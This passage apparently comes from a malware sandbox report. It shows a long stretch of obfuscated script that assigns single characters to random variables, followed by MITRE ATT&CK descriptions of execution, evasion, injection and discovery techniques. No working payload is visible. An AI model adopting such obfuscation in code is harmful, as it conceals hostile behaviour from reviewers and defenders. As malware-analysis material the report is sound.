486	xqnfd = "5";
487	ytbbtdd = "K";
488	ytbbtdd = "R";
489	ytbbtdd = "P";
490	ytbbtdd = "Y";
491	ytbbtdd = "C";
492	ytbbtdd = "j";
493	ytbbtdd = "U";
494	ytbbtdd = "f";
495	ytbbtdd = "y";
496	ytbbtdd = "D";
497	ytbbtdd = "g";
498	ytbbtdd = "Q";
499	ytbbtdd = "M";
500	ytbbtdd = "y";
501	ytbbtdd = "T";
502	ytbbtdd = "F";
503	ytbbtdd = "I";
504	ytbbtdd = "b";
505	ytbbtdd = "b";
506	ytbbtdd = "u";
507	ytbbtdd = "M";
508	ytbbtdd = "n";
509	ytbbtdd = "O";
510	ytbbtdd = "Q";
511	ytbbtdd = "i";
512	ytbbtdd = "Q";
513	ytbbtdd = "L";
514	ytbbtdd = "Q";
515	ytbbtdd = "V";
516	ytbbtdd = "C";
517	ytbbtdd = "o";
518	ytbbtdd = "j";
519	ikaqxu = "S";
520	ikaqxu = "o";
521	ikaqxu = "Q";
522	ikaqxu = "t";
523	ikaqxu = "Q";
524	ikaqxu = "y";
525	ikaqxu = "C";
526	ikaqxu = "X";
527	ikaqxu = "R";
528	ikaqxu = "C";
529	ikaqxu = "q";
530	ikaqxu = "r";
531	ikaqxu = "q";
532	ikaqxu = "n";
533	ikaqxu = "h";
534	ikaqxu = "K";
535	ikaqxu = "T";
536	ikaqxu = "M";
537	ikaqxu = "X";
538	ikaqxu = "r";
539	ikaqxu = "o";
540	ikaqxu = "t";
541	ikaqxu = "s";
542	ikaqxu = "p";
543	ikaqxu = "K";
544	ikaqxu = "i";
545	ikaqxu = "K";
546	ikaqxu = "R";
547	ikaqxu = "d";
548	ikaqxu = "w";
549	ikaqxu = "O";
550	ikaqxu = "B";
551	ikaqxu = "m";
552	rpjdcpvxv = "A";
553	rpjdcpvxv = "C";
554	rpjdcpvxv = "S";
555	rpjdcpvxv = "P";
556	rpjdcpvxv = "Z";
557	rpjdcpvxv = "s";
558	rpjdcpvxv = "Y";
559	rpjdcpvxv = "q";
560	rpjdcpvxv = "G";
561	rpjdcpvxv = "E";
562	rpjdcpvxv = "y";
563	rpjdcpvxv = "B";
564	rpjdcpvxv = "L";
565	rpjdcpvxv = "k";
566	gluiluh = "p";
567	gluiluh = "K";
568	gluiluh = "k";
569	gluiluh = "V";
570	gluiluh = "P";
571	gluiluh = "R";
572	gluiluh = "v";
573	gluiluh = "g";
574	gluiluh = "w";
575	gluiluh = "y";
576	gluiluh = "v";
577	gluiluh = "j";
578	gluiluh = "B";
579	gluiluh = "V";
580	gluiluh = "Q";
581	gluiluh = "Y";
582	gluiluh = "Q";
583	gluiluh = "m";
584	gluiluh = "x";
585	gluiluh = "e";
586	gluiluh = "t";
587	gluiluh = "A";
588	gluiluh = "p";
589	gluiluh = "p";
590	gluiluh = "F";
591	gluiluh = "K";
592	gluiluh = "M";
593	gluiluh = "h";
594	gluiluh = "s";
595	gluiluh = "N";
596	gluiluh = "G";
597	gluiluh = "c";
598	gluiluh = "F";
599	gluiluh = "k";
600	gluiluh = "u";
601	gluiluh = "y";
602	gluiluh = "g";
603	gluiluh = "i";
604	gluiluh = "x";
605	gluiluh = "G";
606	gluiluh = "c";
607	gluiluh = "l";
608	gluiluh = "R";
609	cdlybcai = "A";
610	cdlybcai = "M";
611	cdlybcai = "W";
612	cdlybcai = "o";
613	cdlybcai = "a";
614	cdlybcai = "3";
615	moljcanr = "M";
616	moljcanr = "I";
617	moljcanr = "C";
618	moljcanr = "X";
619	moljcanr = "E";
620	moljcanr = "Y";
621	moljcanr = "t";
622	moljcanr = "m";
623	moljcanr = "v";
624	moljcanr = "Y";
625	moljcanr = "B";
626	moljcanr = "A";
627	moljcanr = "E";
628	moljcanr = "p";
629	moljcanr = "t";
630	moljcanr = "F";
631	moljcanr = "m";
632	moljcanr = "s";
633	moljcanr = "c";
634	moljcanr = "F";
635	moljcanr = "d";
636	moljcanr = "G";
637	moljcanr = "e";
638	moljcanr = "c";
639	moljcanr = "P";
640	moljcanr = "A";
641	moljcanr = "w";
642	moljcanr = "n";
643	moljcanr = "F";
644	moljcanr = "U";
645	moljcanr = "w";
646	moljcanr = "L";
647	moljcanr = "h";
648	moljcanr = "l";
649	moljcanr = "S";
650	moljcanr = "f";
651	pkndv = "d";
652	pkndv = "T";
653	abbnyo = "k";
654	abbnyo = "a";
655	abbnyo = "W";
656	abbnyo = "D";
657	abbnyo = "Y";
658	abbnyo = "k";
659	abbnyo = "-";
660	ceacpgpzl = "k";
661	ceacpgpzl = "B";
662	ceacpgpzl = "j";
663	ceacpgpzl = "m";
664	ceacpgpzl = "i";
665	ygvdxsw = "W";
666	ygvdxsw = "w";
667	ygvdxsw = "b";
668	ygvdxsw = "k";
669	ygvdxsw = "o";
670	ygvdxsw = "v";
671	ygvdxsw = "I";
672	ygvdxsw = "4";
673	qkqko = "Y";
674	qkqko = "N";
675	qkqko = "k";
676	qkqko = "o";
677	qkqko = "y";
678	qkqko = "g";
679	qkqko = "p";
680	qkqko = "T";
681	qkqko = "D";
682	qkqko = "m";
683	qkqko = "O";
684	qkqko = "A";
685	qkqko = "x";
686	qkqko = "n";
687	qkqko = "T";
688	qkqko = "K";
689	qkqko = "R";
690	qkqko = "j";
691	qkqko = "w";
692	qkqko = "Q";
693	qkqko = "B";
694	qkqko = "o";
695	qkqko = "j";
696	qkqko = "l";
697	qkqko = "b";
698	qkqko = "u";
699	qkqko = "C";
700	qkqko = "A";
701	qkqko = "a";
702	ahleviehe = "F";
703	ahleviehe = "f";
704	ahleviehe = "s";
705	icwnl = "Z";
706	icwnl = "B";
707	icwnl = "I";
708	icwnl = "N";
709	icwnl = "U";
710	icwnl = "E";
711	icwnl = "M";
712	icwnl = "w";
713	icwnl = "l";
714	icwnl = "n";
715	icwnl = "W";
716	icwnl = "Y";
717	icwnl = "F";
718	icwnl = "p";
719	kzjkn = "b";
720	kzjkn = "P";
721	kzjkn = "x";
722	kzjkn = "E";
723	kzjkn = "b";
724	kzjkn = "t";
725	kzjkn = "w";
726	kzjkn = "j";
727	kzjkn = "k";
728	kzjkn = "h";
729	kzjkn = "q";
730	kzjkn = "K";
731	kzjkn = "p";
732	kzjkn = "X";
733	kzjkn = "T";
734	kzjkn = "z";
735	kzjkn = "t";
736	kzjkn = "t";
737	kzjkn = "R";
738	kzjkn = "c";
739	kzjkn = "m";
740	kzjkn = "B";
741	kzjkn = "c";
742	kzjkn = "N";
743	kzjkn = "X";
744	kzjkn = "b";
745	kzjkn = "R";
746	kzjkn = "l";
747	kzjkn = "H";
748	kzjkn = "p";
749	kzjkn = "R";
750	kzjkn = "a";
751	kzjkn = "f";
752	kzjkn = "V";
753	kzjkn = "C";
754	nksndmk = "l";
755	nksndmk = "I";
756	nksndmk = "R";
757	nksndmk = "V";
758	nksndmk = "I";
759	nksndmk = "A";
760	nksndmk = "B";
761	nksndmk = "P";
762	nksndmk = "R";
763	nksndmk = "i";
764	nksndmk = "R";
765	nksndmk = "R";
766	nksndmk = "k";
767	nksndmk = "I";
768	nksndmk = "U";
769	nksndmk = "H";
770	nksndmk = "n";
771	nksndmk = "n";
772	nksndmk = "C";
773	nksndmk = "p";
774	nksndmk = "p";
775	nksndmk = "O";
776	nksndmk = "H";
777	nksndmk = "r";
778	nksndmk = "D";
779	nksndmk = "C";
780	nksndmk = "S";
781	nksndmk = "D";
782	nksndmk = "h";
783	nksndmk = "U";
784	ytcgqiv = "t";
785	ytcgqiv = "T";
786	ytcgqiv = "b";
787	ytcgqiv = "v";
788	ytcgqiv = "u";
789	ytcgqiv = "a";
790	ytcgqiv = "l";
791	ytcgqiv = "d";
792	ytcgqiv = "u";
793	ytcgqiv = "L";
794	ytcgqiv = "d";
795	ytcgqiv = "t";
796	ytcgqiv = "k";
797	ytcgqiv = "J";
798	ytcgqiv = "q";
799	ytcgqiv = "\"";
800	dnryqu = "A";
801	dnryqu = "B";
802	dnryqu = "r";
803	dnryqu = "g";
804	dnryqu = "a";
805	dnryqu = "w";
806	dnryqu = "R";
807	dnryqu = "C";
808	dnryqu = "M";
809	dnryqu = "k";
810	dnryqu = "s";
811	dnryqu = "b";
812	dnryqu = "M";
813	dnryqu = "u";
814	dnryqu = "T";
815	dnryqu = ":";
816	pngekn = "c";
817	pngekn = "z";
818	pngekn = "Z";
819	pngekn = "m";
820	pngekn = "O";
821	pngekn = "h";
822	pngekn = "w";
823	pngekn = "j";
824	pngekn = "n";
825	pngekn = "b";
826	pngekn = "J";
827	pngekn = "k";
828	pngekn = "a";
829	pngekn = "H";
830	pngekn = "m";
831	pngekn = "E";
832	pngekn = "q";
833	pngekn = "l";
834	pngekn = "G";
835	pngekn = "o";
836	pngekn = "k";
837	pngekn = "F";
838	pngekn = "i";
839	pngekn = "u";
840	pngekn = "T";
841	pngekn = "N";
842	pngekn = "A";
843	pngekn = "m";
844	pngekn = "o";
845	ifeknj = "V";
846	ifeknj = "q";
847	ifeknj = "M";
848	ifeknj = "X";
849	ifeknj = "W";
850	ifeknj = "o";
851	ifeknj = "k";
852	ifeknj = "m";
853	ifeknj = "i";
854	ifeknj = "M";
855	ifeknj = "E";
856	ifeknj = "f";
857	ifeknj = "T";
858	ifeknj = "K";
859	ifeknj = "U";
860	ifeknj = "G";
861	ifeknj = "c";
862	ifeknj = "c";
863	ifeknj = "o";
864	ifeknj = "j";
865	ifeknj = "E";
866	ifeknj = "w";
867	ifeknj = "r";
868	ifeknj = "q";
869	ifeknj = "m";
870	ifeknj = "Y";
871	ifeknj = "t";
872	ifeknj = "\\";
873	krncivmg = "f";
874	krncivmg = "U";
875	krncivmg = "e";
876	krncivmg = "M";
877	krncivmg = "X";
878	krncivmg = "d";
879	krncivmg = "f";
880	krncivmg = "i";
881	krncivmg = "U";
882	krncivmg = "z";
883	krncivmg = "x";
884	krncivmg = "i";
885	krncivmg = "i";
886	krncivmg = "z";
887	krncivmg = "H";
888	krncivmg = "T";
889	krncivmg = "c";
890	krncivmg = "X";
891	krncivmg = "V";
892	krncivmg = "J";
893	krncivmg = "K";
894	krncivmg = "U";
895	krncivmg = "z";
896	krncivmg = "S";
897	krncivmg = "c";
898	krncivmg = "a";
899	krncivmg = "v";
900	krncivmg = "f";
901	krncivmg = "g";
902	krncivmg = "H";
903	krncivmg = "n";
904	ufkzl = "s";
905	ufkzl = "y";
906	ufkzl = "D";
907	ufkzl = "R";
908	ufkzl = "U";
909	ufkzl = "c";
910	ufkzl = "Z";
911	ufkzl = "b";
912	ufkzl = "i";
913	ufkzl = "u";
914	ufkzl = "j";
915	ufkzl = "Q";
916	ufkzl = "u";
917	ufkzl = "R";
918	ufkzl = "s";
919	ufkzl = "F";
920	ufkzl = "H";
921	ufkzl = "z";
922	ufkzl = "u";
923	ufkzl = "g";
924	ufkzl = "d";
925	ufkzl = "z";
926	ufkzl = "s";
927	ufkzl = "c";
928	ufkzl = "E";
929	ufkzl = "g";
930	ufkzl = "d";
931	ufkzl = "i";
932	ufkzl = "R";
933	ufkzl = "c";
934	ufkzl = "D";
935	ufkzl = "I";
936	ufkzl = "s";
937	ufkzl = "J";
938	ufkzl = "j";
939	ufkzl = "f";
940	ufkzl = "M";
941	ufkzl = "w";
942	ufkzl = "K";
943	ufkzl = "m";
944	ufkzl = "D";
945	ufkzl = "O";
946	ufkzl = "a";
947	ufkzl = "K";
948	zxzka = "r";
949	zxzka = "m";
950	zxzka = "Z";
951	zxzka = "C";
952	zxzka = "u";
953	zxzka = "H";
954	zxzka = "K";
955	zxzka = "a";
956	zxzka = "l";
957	zxzka = "r";
958	zxzka = "O";
959	zxzka = "k";
960	zxzka = "v";
961	zxzka = "l";
962	zxzka = "n";
963	zxzka = "X";
964	zxzka = "p";
965	zxzka = "K";
966	zxzka = "n";
967	zxzka = "r";
968	zxzka = "M";
969	zxzka = "f";
970	zxzka = "l";
971	zxzka = "A";
972	zxzka = "A";
973	zxzka = "f";
974	zxzka = "I";
975	zxzka = "k";
976	zxzka = "f";
977	zxzka = "X";
978	zxzka = "y";
979	zxzka = "b";
980	zxzka = "N";
981	zxzka = "L";
982	zxzka = "Z";
983	zxzka = "c";
984	zxzka = "m";
985	zxzka = "s";
986	zxzka = "b";
987	zxzka = "l";
988	zxzka = "c";
989	zxzka = "y";
990	zxzka = " ";
991	sofjxzcof = "i";
992	sofjxzcof = "s";
993	sofjxzcof = "j";
994	sofjxzcof = "t";
995	sofjxzcof = "B";
996	sofjxzcof = "l";
997	sofjxzcof = "e";
998	sofjxzcof = "X";
999	sofjxzcof = "X";
1000	sofjxzcof = "L";
1001	sofjxzcof = "h";
1002	sofjxzcof = "G";
1003	sofjxzcof = "M";
1004	sofjxzcof = "r";
1005	sofjxzcof = "c";
1006	dwzju = "h";
1007	dwzju = "M";
1008	dwzju = "u";
1009	dwzju = "D";
1010	dwzju = "w";
1011	dwzju = "N";
1012	dwzju = "v";
1013	dwzju = "X";
1014	dwzju = "S";
1015	dwzju = "N";
1016	dwzju = "t";
1017	dwzju = "j";
1018	dwzju = "U";
1019	dwzju = "w";
1020	dwzju = "u";
1021	dwzju = "C";
1022	dwzju = "I";
1023	dwzju = "w";
1024	dwzju = "S";
1025	dwzju = "A";
1026	dwzju = "p";
1027	dwzju = "q";
1028	ihrqptsgs = "O";
1029	ihrqptsgs = "t";
1030	ihrqptsgs = "h";
1031	ihrqptsgs = "m";
1032	ihrqptsgs = "e";
1033	ihrqptsgs = "G";
1034	ihrqptsgs = "u";
1035	ihrqptsgs = "n";
1036	ihrqptsgs = "T";
1037	ihrqptsgs = "h";
1038	ihrqptsgs = "S";
1039	ihrqptsgs = "Y";
1040	ihrqptsgs = "l";
1041	ihrqptsgs = "f";
1042	ihrqptsgs = "p";
1043	ihrqptsgs = "B";
1044	ihrqptsgs = "N";
1045	ihrqptsgs = "u";
1046	ihrqptsgs = "C";
1047	ihrqptsgs = "l";
1048	ihrqptsgs = "o";
1049	ihrqptsgs = "b";
1050	ihrqptsgs = "x";
1051	ihrqptsgs = "y";
1052	ihrqptsgs = "K";
1053	ihrqptsgs = "k";
1054	ihrqptsgs = "q";
1055	ihrqptsgs = "s";
1056	ihrqptsgs = "g";
1057	ihrqptsgs = "t";
1058	ihrqptsgs = "v";
1059	ihrqptsgs = "I";
1060	hindgzjbd = "P";
1061	hindgzjbd = "D";
1062	hindgzjbd = "w";
1063	hindgzjbd = "g";
1064	hindgzjbd = "q";
1065	hindgzjbd = "f";
1066	hindgzjbd = "q";
1067	hindgzjbd = "Y";
1068	hindgzjbd = "G";
1069	hindgzjbd = "h";
1070	hindgzjbd = "i";
1071	hindgzjbd = "U";
1072	hindgzjbd = "Y";
1073	hindgzjbd = "J";
1074	hindgzjbd = "K";
1075	hindgzjbd = "h";
1076	hindgzjbd = "B";
1077	hindgzjbd = "I";
1078	hindgzjbd = "d";
1079	hindgzjbd = "p";
1080	hindgzjbd = "I";
1081	hindgzjbd = "E";
1082	hindgzjbd = "d";
1083	hindgzjbd = "f";
1084	hindgzjbd = "X";
1085	hindgzjbd = "d";
1086	hindgzjbd = "F";
1087	hindgzjbd = "m";
1088	hindgzjbd = "p";
1089	hindgzjbd = "k";
1090	hindgzjbd = "r";
1091	hindgzjbd = "&";
1092	vzswfbdq = "r";
1093	vzswfbdq = "s";
1094	vzswfbdq = "N";
1095	vzswfbdq = "g";
1096	vzswfbdq = "z";
1097	vzswfbdq = "Q";
1098	vzswfbdq = "K";
1099	vzswfbdq = "H";
1100	vzswfbdq = "H";
1101	vzswfbdq = "o";
1102	vzswfbdq = "r";
1103	vzswfbdq = "A";
1104	vzswfbdq = "o";
1105	vzswfbdq = "g";
1106	vzswfbdq = "C";
1107	vzswfbdq = "E";
1108	vzswfbdq = "T";
1109	vzswfbdq = "H";
1110	vzswfbdq = "D";
1111	vzswfbdq = "A";
1112	vzswfbdq = "J";
1113	vzswfbdq = "b";
1114	vzswfbdq = "H";
1115	vzswfbdq = "a";
1116	vzswfbdq = "i";
1117	vzswfbdq = "w";
1118	vzswfbdq = "A";
1119	vzswfbdq = "V";
1120	vzswfbdq = "a";
1121	vzswfbdq = "r";
1122	vzswfbdq = "c";
1123	vzswfbdq = "T";
1124	vzswfbdq = "j";
1125	vzswfbdq = "X";
1126	vzswfbdq = "G";
1127	vzswfbdq = "T";
1128	vzswfbdq = "a";
1129	vzswfbdq = "T";
1130	vzswfbdq = "Y";
1131	jvnhghxj = "x";
1132	jvnhghxj = "u";
1133	jvnhghxj = "D";
1134	jvnhghxj = "C";
1135	jvnhghxj = "N";
1136	jvnhghxj = "i";
1137	jvnhghxj = "E";
1138	jvnhghxj = "Z";
1139	jvnhghxj = "u";
1140	jvnhghxj = "e";
1141	jvnhghxj = "N";
1142	jvnhghxj = "q";
1143	jvnhghxj = "l";
1144	jvnhghxj = "w";
1145	jvnhghxj = "O";
1146	jvnhghxj = "_";
1147	wqgpnad = "K";
1148	wqgpnad = "C";
1149	wqgpnad = "o";
1150	wqgpnad = "j";
1151	wqgpnad = "T";
1152	wqgpnad = "d";
1153	wqgpnad = "K";
1154	wqgpnad = "T";
1155	wqgpnad = "X";
1156	wqgpnad = "b";
1157	wqgpnad = "v";
1158	wqgpnad = "u";
1159	wqgpnad = "I";
1160	wqgpnad = "w";
1161	wqgpnad = "o";
1162	wqgpnad = "q";
1163	wqgpnad = "N";
1164	laxmrw = "T";
1165	laxmrw = "e";
1166	laxmrw = "r";
1167	laxmrw = "y";
1168	laxmrw = "z";
1169	laxmrw = "F";
1170	laxmrw = "l";
1171	laxmrw = "U";
1172	laxmrw = "1";
1173	gmorh = "s";
1174	gmorh = "T";
1175	gmorh = "m";
1176	gmorh = "w";
1177	gmorh = "x";
1178	gmorh = "y";
1179	gmorh = "F";
1180	gmorh = "d";
1181	gmorh = "W";
1182	gmorh = "@";
1183	oskerjxbn = "S";
1184	oskerjxbn = "X";
1185	oskerjxbn = "J";
1186	oskerjxbn = "U";
1187	oskerjxbn = "k";
1188	oskerjxbn = "a";
1189	oskerjxbn = "u";
1190	oskerjxbn = "z";
1191	oskerjxbn = "l";
1192	oskerjxbn = "L";
1193	oskerjxbn = "a";
1194	oskerjxbn = "j";
1195	oskerjxbn = "t";
1196	oskerjxbn = "N";
1197	oskerjxbn = "l";
1198	oskerjxbn = "e";
1199	oskerjxbn = "O";
1200	oskerjxbn = "s";
1201	oskerjxbn = "m";
1202	oskerjxbn = "j";
1203	oskerjxbn = "o";
1204	oskerjxbn = "Z";
1205	oskerjxbn = "W";
1206	oskerjxbn = "C";
1207	oskerjxbn = "S";
1208	oskerjxbn = "F";
1209	oskerjxbn = "K";
1210	oskerjxbn = "0";
1211	lgivn = "Z";
1212	lgivn = "P";
1213	lgivn = "G";
1214	lgivn = "n";
1215	lgivn = "S";
1216	lgivn = "Y";
1217	lgivn = "B";
1218	lgivn = "L";
1219	lgivn = "U";
1220	lgivn = "G";
1221	lgivn = "R";
1222	lgivn = "i";
1223	lgivn = "e";
1224	lgivn = "P";
1225	lgivn = "W";
1226	lgivn = "V";
1227	lgivn = "j";
1228	lgivn = "G";
1229	lgivn = "m";
1230	lgivn = "R";
1231	lgivn = "j";
1232	lgivn = "Q";
1233	lgivn = "A";
1234	lgivn = "c";
1235	lgivn = "e";
1236	lgivn = "o";
1237	lgivn = "u";
1238	lgivn = "N";
1239	lgivn = "a";
1240	lgivn = "w";
1241	lgivn = "P";
1242	lgivn = "x";
1243	lgivn = "f";
1244	lgivn = "f";
1245	lgivn = "a";
1246	lgivn = "g";
1247	lgivn = "q";
1248	lgivn = "y";
1249	lgivn = "b";
1250	lgivn = "m";
1251	lgivn = "L";
1252	havvv = "x";
1253	havvv = "P";
1254	havvv = "P";
1255	havvv = "z";
1256	havvv = "Q";
1257	havvv = "w";
1258	havvv = "d";
1259	havvv = "u";
1260	havvv = "G";
1261	havvv = "G";
1262	havvv = "M";
1263	havvv = "y";
1264	havvv = "D";
1265	havvv = "W";
1266	havvv = "U";
1267	havvv = "q";
1268	havvv = "t";
1269	havvv = "Z";
1270	havvv = "M";
1271	havvv = "G";
1272	havvv = "C";
1273	havvv = "S";
1274	havvv = "o";
1275	havvv = "m";
1276	havvv = "T";
1277	havvv = "c";
1278	havvv = "l";
1279	havvv = "V";
1280	havvv = "V";
1281	havvv = "O";
1282	havvv = "Q";
1283	vflcgkuln = "a";
1284	vflcgkuln = "c";
1285	vflcgkuln = "Y";
1286	vflcgkuln = "O";
1287	vflcgkuln = "w";
1288	vflcgkuln = "a";
1289	vflcgkuln = "8";
1290	zbpyf = "q";
1291	zbpyf = "K";
1292	zbpyf = "Y";
1293	zbpyf = "K";
1294	zbpyf = "V";
1295	zbpyf = "I";
1296	zbpyf = "i";
1297	zbpyf = "E";
1298	zbpyf = "c";
1299	zbpyf = "O";
1300	zbpyf = "g";
1301	zbpyf = "u";
1302	zbpyf = "q";
1303	zbpyf = "Q";
1304	zbpyf = "M";
1305	zbpyf = "N";
1306	zbpyf = "i";
1307	zbpyf = "U";
1308	zbpyf = "E";
1309	zbpyf = "D";
1310	zbpyf = "F";
1311	zbpyf = "v";
1312	kwnpp = "b";
1313	kwnpp = "F";
1314	kwnpp = "J";
1315	kwnpp = "P";
1316	kwnpp = "v";
1317	kwnpp = "c";
1318	kwnpp = "z";
1319	kwnpp = "h";
1320	kwnpp = "M";
1321	kwnpp = "x";
1322	kwnpp = "p";
1323	kwnpp = "l";
1324	kwnpp = "c";
1325	kwnpp = "Y";
1326	kwnpp = "z";
1327	kwnpp = "r";
1328	kwnpp = "u";
1329	kwnpp = "U";
1330	kwnpp = "X";
1331	kwnpp = "l";
1332	kwnpp = "c";
1333	kwnpp = "a";
1334	kwnpp = "B";
1335	kwnpp = "I";
1336	kwnpp = "L";
1337	kwnpp = "w";
1338	kwnpp = "d";
1339	kwnpp = "D";
1340	kwnpp = "T";
1341	kwnpp = "Z";
1342	kwnpp = "Y";
1343	kwnpp = "u";
1344	kwnpp = "v";
1345	kwnpp = "O";
1346	kwnpp = "h";
1347	kwnpp = "Q";
1348	kwnpp = "S";
1349	kwnpp = "B";
1350	kwnpp = "C";
1351	kwnpp = "z";
1352	kwnpp = "E";
1353	kwnpp = "D";
1354	kwnpp = ".";
1355	sqsndk = "P";
1356	sqsndk = "E";
1357	sqsndk = "T";
1358	sqsndk = "h";
1359	cnplkrhp = "O";
1360	cnplkrhp = "d";
1361	cnplkrhp = "O";
1362	cnplkrhp = "s";
1363	cnplkrhp = "t";
1364	cnplkrhp = "S";
1365	cnplkrhp = "W";
1366	cnplkrhp = "t";
1367	cnplkrhp = "D";
1368	cnplkrhp = "D";
1369	cnplkrhp = "I";
1370	cnplkrhp = "b";
1371	lvigf ( );	lvigf() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

